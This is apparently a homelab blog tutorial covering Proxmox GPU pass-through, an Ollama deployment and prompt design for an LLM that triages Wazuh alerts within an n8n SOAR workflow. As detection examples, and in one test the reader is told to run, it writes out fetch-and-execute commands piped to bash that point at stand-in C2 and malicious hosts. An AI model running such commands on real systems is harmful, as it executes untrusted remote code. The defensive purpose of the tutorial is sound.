Time to teach a language model the difference between curl https://example.com and curl https://sketchy-c2-server.ru | bash. Spoiler: it’s all in the prompt.
The GPU Pass-Through Gauntlet
Before we can run inference, we need to solve Proxmox’s most annoying problem: GPU pass-through. NVIDIA drivers throw Error 43 when they detect a hypervisor, because NVIDIA would prefer you buy their $5,000 datacenter GPUs instead of using your gaming card.
Step 1: Enable IOMMU in BIOS
Reboot your Proxmox host, enter BIOS, and enable:
- Intel: VT-d
- AMD: AMD-Vi or IOMMU
Save and reboot.
Step 2: Configure Proxmox for IOMMU
SSH into your Proxmox host:
# Edit GRUB
nano /etc/default/grub
# For Intel CPUs, modify GRUB_CMDLINE_LINUX_DEFAULT:
GRUB_CMDLINE_LINUX_DEFAULT="quiet intel_iommu=on iommu=pt"
# For AMD CPUs:
GRUB_CMDLINE_LINUX_DEFAULT="quiet amd_iommu=on iommu=pt"
# Update GRUB
update-grub
# Load VFIO modules
echo "vfio" >> /etc/modules
echo "vfio_iommu_type1" >> /etc/modules
echo "vfio_pci" >> /etc/modules
echo "vfio_virqfd" >> /etc/modules
# Reboot
reboot
Step 3: Identify Your GPU’s PCI ID
lspci -nn | grep -i nvidia
Output example:
01:00.0 VGA compatible controller [0300]: NVIDIA Corporation GA106 [GeForce RTX 3060] [10de:2503] (rev a1)
01:00.1 Audio device [0403]: NVIDIA Corporation GA106 High Definition Audio Controller [10de:228e] (rev a1)
Note the IDs: 10de:2503 (GPU) and 10de:228e (audio controller).
Step 4: Blacklist NVIDIA Drivers on the Host
We don’t want the Proxmox host using the GPU—only the VM should.
echo "blacklist nouveau" >> /etc/modprobe.d/blacklist.conf
echo "blacklist nvidia" >> /etc/modprobe.d/blacklist.conf
echo "blacklist nvidiafb" >> /etc/modprobe.d/blacklist.conf
# Bind GPU to VFIO at boot
echo "options vfio-pci ids=10de:2503,10de:228e" > /etc/modprobe.d/vfio.conf
update-initramfs -u
reboot
Step 5: Add GPU to the Ollama VM
In the Proxmox web UI:
- Select your Ollama VM
- Hardware → Add → PCI Device
- Select your GPU (
01:00.0) - Check “All Functions” (includes the audio controller)
- Check “Primary GPU” (optional, only if this is the only GPU)
- Important: Enable “ROM-Bar” and “PCI-Express”
Start the VM.
Step 6: Install NVIDIA Drivers Inside the VM
SSH into the Ollama VM (Ubuntu 26.04):
# Check if GPU is visible
lspci | grep -i nvidia
# You should see your GPU listed
# Add NVIDIA driver repository
sudo add-apt-repository ppa:graphics-drivers/ppa -y
sudo apt update
# Install the driver (check nvidia.com for the latest version)
sudo apt install -y nvidia-driver-550
# Reboot the VM
sudo reboot
After reboot:
# Verify the driver loaded
nvidia-smi
You should see your GPU, VRAM, driver version, and CUDA version. If you see “NVIDIA-SMI has failed because it couldn’t communicate with the NVIDIA driver,” you’re in Error 43 hell.
The Error 43 Fix (When All Else Fails)
If nvidia-smi fails, NVIDIA detected the hypervisor. Fix:
# On the Proxmox host, edit the VM config
nano /etc/pve/qemu-server/<VM_ID>.conf
# Add these lines:
args: -cpu host,kvm=off,hv_vendor_id=proxmox
cpu: host,hidden=1,flags=+pcid
# Save and start the VM
qm start <VM_ID>
This masks the hypervisor signature. NVIDIA’s drivers are now fooled into thinking they’re on bare metal.
Run nvidia-smi again. If it works, we’re done. If not, sacrifice a USB-C cable to the silicon gods and try again.
Ollama Deployment: The Inference Server
With the GPU working, we can deploy Ollama.
# Install Ollama (Ubuntu 26.04)
curl -fsSL https://ollama.ai/install.sh | sh
# Verify installation
ollama --version
# Pull a model (Llama-3 8B)
ollama pull llama3:8b
# Test inference
ollama run llama3:8b "What is the MITRE ATT&CK technique for process injection?"
If this returns a coherent answer, your GPU is working and the model loaded successfully.
Configure Ollama as a Service
By default, Ollama listens on localhost:11434. We need it to accept connections from n8n (on another VM).
# Edit the systemd service
sudo systemctl edit ollama.service
# Add these lines in the override section:
[Service]
Environment="OLLAMA_HOST=0.0.0.0:11434"
# Reload and restart
sudo systemctl daemon-reload
sudo systemctl restart ollama.service
# Verify it's listening
sudo ss -tulnp | grep 11434
You should see Ollama listening on 0.0.0.0:11434.
Security note: Do NOT expose this to the internet. Firewall it to your homelab subnet only.
The Prompt Engineering Problem: Making LLMs Output Structured Data
LLMs are trained to output natural language. We need JSON with specific fields:
confidence_score(integer, 0-100)verdict(string: “benign”, “suspicious”, “malicious”)reasoning(string: why the model reached this conclusion)uncertainty_reason(string: why the model is unsure, if confidence < 80)
The naive approach:
You are a security analyst. Is this command malicious?
Command: curl http://example.com | bash
LLM response:
This command is potentially dangerous because it downloads and executes a script
from the internet without inspection. It could be malicious, but it depends on
the source. I would rate this as suspicious.
This is useless for automation. We can’t parse “potentially dangerous” or “depends on the source.”
The correct approach: Force structured output via system prompt and response format.
System Prompt Design
Here’s the prompt template we’ll use:
You are an expert security detection engineer analyzing potentially malicious activity.
Your task: Analyze the provided telemetry data and determine if it represents malicious, suspicious, or benign behavior.
OUTPUT REQUIREMENTS:
You MUST respond with ONLY valid JSON in this exact format (no markdown, no explanations outside the JSON):
{
"verdict": "<benign|suspicious|malicious>",
"confidence_score": <integer 0-100>,
"reasoning": "<concise explanation of your analysis>",
"uncertainty_reason": "<if confidence < 80, explain why you are uncertain>",
"mitre_tactics": ["<MITRE ATT&CK tactic IDs if applicable, empty array if none>"]
}
ANALYSIS CRITERIA:
- Benign: Normal system activity, no indicators of compromise
- Suspicious: Anomalous behavior that could be legitimate or malicious
- Malicious: Clear indicators of attack, exploitation, or unauthorized access
CONFIDENCE GUIDELINES:
- 90-100: High confidence, clear indicators
- 70-89: Moderate confidence, some ambiguity
- 50-69: Low confidence, significant uncertainty
- 0-49: Very low confidence, insufficient data or conflicting signals
If confidence < 80, you MUST populate the "uncertainty_reason" field.
TELEMETRY DATA:
Example 1: Suspicious Command Line
Telemetry:
{
"rule_description": "Suspicious command execution detected",
"severity": 10,
"agent_name": "web-server-01",
"process_name": "bash",
"process_cmdline": "curl http://192.168.1.100:8080/payload.sh | bash",
"user": "www-data",
"parent_process": "apache2"
}
Full prompt to Ollama:
You are an expert security detection engineer analyzing potentially malicious activity.
Your task: Analyze the provided telemetry data and determine if it represents malicious, suspicious, or malicious behavior.
OUTPUT REQUIREMENTS:
You MUST respond with ONLY valid JSON in this exact format (no markdown, no explanations outside the JSON):
{
"verdict": "<benign|suspicious|malicious>",
"confidence_score": <integer 0-100>,
"reasoning": "<concise explanation of your analysis>",
"uncertainty_reason": "<if confidence < 80, explain why you are uncertain>",
"mitre_tactics": ["<MITRE ATT&CK tactic IDs if applicable, empty array if none>"]
}
TELEMETRY DATA:
{
"rule_description": "Suspicious command execution detected",
"severity": 10,
"agent_name": "web-server-01",
"process_name": "bash",
"process_cmdline": "curl http://192.168.1.100:8080/payload.sh | bash",
"user": "www-data",
"parent_process": "apache2"
}
Expected LLM response:
{
"verdict": "malicious",
"confidence_score": 95,
"reasoning": "Web server process (apache2) spawned bash to download and execute a remote script. The user 'www-data' indicates this originated from a web application, likely via command injection. The use of curl piped to bash is a common post-exploitation technique.",
"uncertainty_reason": "",
"mitre_tactics": ["TA0002", "TA0004"]
}
Example 2: Ambiguous Activity
Telemetry:
{
"rule_description": "Multiple authentication failures",
"severity": 8,
"agent_name": "ssh-bastion",
"user": "admin",
"source_ip": "192.168.1.55",
"failed_attempts": 5,
"time_window": "30 seconds"
}
Expected LLM response:
{
"verdict": "suspicious",
"confidence_score": 65,
"reasoning": "Five failed SSH authentication attempts from an internal IP (192.168.1.55) within 30 seconds. This could indicate a brute-force attack or a legitimate user with a misconfigured client or forgotten password.",
"uncertainty_reason": "Internal IP reduces likelihood of external attack. Failed attempt count is low (5 attempts). Need additional context: is this IP a known admin workstation? Has this user failed authentication before?",
"mitre_tactics": ["TA0006"]
}
Notice: confidence is 65%, so the model populated uncertainty_reason. This tells our SOAR workflow to escalate to a human instead of auto-blocking.
Integrating Ollama with n8n
Back in n8n, we’ll modify the workflow from Part 2 to call Ollama.
n8n Workflow Update
- After the Switch node (which routes by severity), add an HTTP Request node for each branch:
Node name: “Analyze with Ollama”
Configuration:
- Method: POST
- URL:
http://192.168.1.13:11434/api/generate - Headers:
Content-Type:application/json
- Body (JSON):
{
"model": "llama3:8b",
"prompt": "You are an expert security detection engineer...\n\nTELEMETRY DATA:\n",
"stream": false,
"format": "json"
}
- Add a Function node to parse Ollama’s response:
// Ollama returns a JSON object with a "response" field containing the LLM's output
const ollamaResponse = JSON.parse($json.response);
return {
...ollamaResponse,
original_alert: $('Webhook').item.json // Preserve the original Wazuh alert
};
- Add another Switch node to route by confidence score:
- If
confidence_score >= 90ANDverdict == "malicious": Route to “Auto-Block” - If
confidence_score >= 80ANDverdict == "suspicious": Route to “Alert Human” - If
confidence_score < 80: Route to “Escalate to Human”
- For now, add HTTP Request nodes to log the output:
- Auto-Block branch: POST to a test endpoint (we’ll replace this with Wazuh API calls in Part 4)
- Alert Human branch: POST to Telegram webhook
- Escalate branch: POST to Telegram webhook with “low confidence” flag
Testing the AI Analysis
Trigger an alert from Part 2:
# On a monitored host, execute a suspicious command
curl http://192.168.1.100:8080/fake-payload.sh | bash
Watch the n8n workflow:
- Webhook receives Wazuh alert
- Severity check routes to Ollama
- Ollama analyzes the command
- Response is parsed and routed by confidence score
Check your Telegram: you should receive a message with:
- Verdict
- Confidence score
- Reasoning
- The original alert data
Prompt Tuning: Making the Model Smarter
The system prompt above is generic. For better results, tune it with domain-specific knowledge.
Technique 1: Add Known-Good Patterns
KNOWN BENIGN PATTERNS:
- apt/yum/dnf package managers downloading from official repositories
- curl/wget downloading from github.com, pypi.org, npmjs.com
- Scripts run by root from /etc/cron.daily or /etc/cron.weekly
- SSH connections from known admin IP ranges: 192.168.1.0/24, 10.0.0.0/8
Technique 2: Add Known-Bad Indicators
HIGH-CONFIDENCE MALICIOUS INDICATORS:
- Base64-encoded commands in bash/powershell
- curl | bash from unknown domains
- Scripts spawned by www-data, nginx, apache2
- Connections to Tor exit nodes or known C2 infrastructure
- PowerShell -EncodedCommand or -WindowStyle Hidden
Technique 3: Few-Shot Examples
Include 2-3 examples of past alerts with correct verdicts:
EXAMPLE 1:
Input: {"process": "bash", "cmdline": "echo 'test' > /tmp/file.txt", "user": "admin"}
Output: {"verdict": "benign", "confidence_score": 95, "reasoning": "Simple file write by admin user"}
EXAMPLE 2:
Input: {"process": "bash", "cmdline": "wget http://malicious.ru/bot.sh && chmod +x bot.sh && ./bot.sh", "user": "www-data"}
Output: {"verdict": "malicious", "confidence_score": 98, "reasoning": "Web server user downloading and executing remote script"}
This trains the model’s in-context learning.
Model Selection: Llama-3 vs Mistral vs Qwen
Different models have different strengths for security analysis.
| Model | Size | VRAM | Strengths | Weaknesses |
|---|---|---|---|---|
| Llama-3 8B | 8B params | ~6GB | Best general reasoning, good at structured output | Slower inference (~2-3s) |
| Mistral 7B | 7B params | ~5GB | Fast inference (~1-2s), decent reasoning | Occasionally ignores JSON format instructions |
| Qwen-2.5 7B | 7B params | ~5GB | Excellent at following instructions, fast | Less common, smaller community |
For this homelab SOC, I recommend Llama-3 8B. It’s the most reliable for structured JSON output.
To switch models:
# Pull a different model
ollama pull mistral:7b
# Update the n8n HTTP Request node to use "mistral:7b" instead of "llama3:8b"
What’s Next?
In Part 4: Automation & The Confidence Threshold, we’ll:
- Write SOAR playbooks that act on the AI’s verdicts
- Implement auto-response via the Wazuh API (isolate hosts, kill processes)
- Build Telegram alerting with inline action buttons (“Block this IP” / “Whitelist”)
- Discuss adversarial testing: can we trick the model into misclassifying malicious activity?
Key takeaway: The confidence score is the most important field in the LLM’s response. Treat it as a routing signal, not noise.
Struggling with GPU pass-through or getting garbage JSON from your LLM? I’m on LinkedIn. Let’s debug together.
